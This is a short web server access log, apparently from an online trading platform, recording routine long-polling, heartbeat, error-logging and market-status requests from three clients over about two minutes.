[09/Jan/2026:10:20:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925510971 HTTP/1.1" -
[09/Jan/2026:10:20:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:20:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:20:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:20:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:20:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925509585 HTTP/1.1" -
[09/Jan/2026:10:20:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925516126 HTTP/1.1" -
[09/Jan/2026:10:20:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925528233 HTTP/1.1" -
[09/Jan/2026:10:20:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925514655 HTTP/1.1" -
[09/Jan/2026:10:20:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:20:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:20:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:20:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925521265 HTTP/1.1" -
[09/Jan/2026:10:20:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:20:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:20:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:20:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925534226 HTTP/1.1" -
[09/Jan/2026:10:20:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925519703 HTTP/1.1" -
[09/Jan/2026:10:20:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:20:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:20:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925526430 HTTP/1.1" -
[09/Jan/2026:10:20:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925524726 HTTP/1.1" -
[09/Jan/2026:10:20:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925540229 HTTP/1.1" -
[09/Jan/2026:10:20:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925531487 HTTP/1.1" -
[09/Jan/2026:10:21:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925529753 HTTP/1.1" -
[09/Jan/2026:10:21:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925546237 HTTP/1.1" -
[09/Jan/2026:10:21:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925536615 HTTP/1.1" -
[09/Jan/2026:10:21:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925534777 HTTP/1.1" -
[09/Jan/2026:10:21:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925552232 HTTP/1.1" -
[09/Jan/2026:10:21:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925541817 HTTP/1.1" -
[09/Jan/2026:10:21:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925539805 HTTP/1.1" -
[09/Jan/2026:10:21:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925558223 HTTP/1.1" -
[09/Jan/2026:10:21:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925546931 HTTP/1.1" -
[09/Jan/2026:10:21:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925544840 HTTP/1.1" -
[09/Jan/2026:10:21:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:21:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:21:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:21:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:21:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:21:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:21:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925552053 HTTP/1.1" -
[09/Jan/2026:10:21:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925564233 HTTP/1.1" -
[09/Jan/2026:10:21:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925549870 HTTP/1.1" -
[09/Jan/2026:10:21:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:21:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:21:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925557112 HTTP/1.1" -
[09/Jan/2026:10:21:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925554892 HTTP/1.1" -
[09/Jan/2026:10:21:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925570230 HTTP/1.1" -
[09/Jan/2026:10:21:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925562171 HTTP/1.1" -
[09/Jan/2026:10:21:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925559921 HTTP/1.1" -
[09/Jan/2026:10:21:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925576226 HTTP/1.1" -
[09/Jan/2026:10:21:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925567291 HTTP/1.1" -
[09/Jan/2026:10:21:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925564951 HTTP/1.1" -
[09/Jan/2026:10:21:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925582234 HTTP/1.1" -
[09/Jan/2026:10:21:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:21:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:21:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:21:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:21:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925572434 HTTP/1.1" -
[09/Jan/2026:10:21:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925570004 HTTP/1.1" -
[09/Jan/2026:10:21:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925588229 HTTP/1.1" -
[09/Jan/2026:10:21:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925575050 HTTP/1.1" -
[09/Jan/2026:10:21:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925577564 HTTP/1.1" -
[09/Jan/2026:10:21:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:21:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:21:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:21:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:21:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:21:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:21:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925594223 HTTP/1.1" -
[09/Jan/2026:10:21:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925580089 HTTP/1.1" -
[09/Jan/2026:10:21:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925582700 HTTP/1.1" -
[09/Jan/2026:10:21:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:21:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:21:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925585112 HTTP/1.1" -
[09/Jan/2026:10:21:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925587761 HTTP/1.1" -
[09/Jan/2026:10:21:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925600226 HTTP/1.1" -
[09/Jan/2026:10:22:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925590133 HTTP/1.1" -
[09/Jan/2026:10:22:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925592903 HTTP/1.1" -
[09/Jan/2026:10:22:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925606235 HTTP/1.1" -
[09/Jan/2026:10:22:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925595180 HTTP/1.1" -
[09/Jan/2026:10:22:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925598044 HTTP/1.1" -
[09/Jan/2026:10:22:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925612225 HTTP/1.1" -
[09/Jan/2026:10:22:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925600224 HTTP/1.1" -
[09/Jan/2026:10:22:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925603181 HTTP/1.1" -
[09/Jan/2026:10:22:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925618237 HTTP/1.1" -
[09/Jan/2026:10:22:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:22:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:22:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925605286 HTTP/1.1" -
[09/Jan/2026:10:22:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767925608302 HTTP/1.1" -
[09/Jan/2026:10:22:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:22:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:22:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:22:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
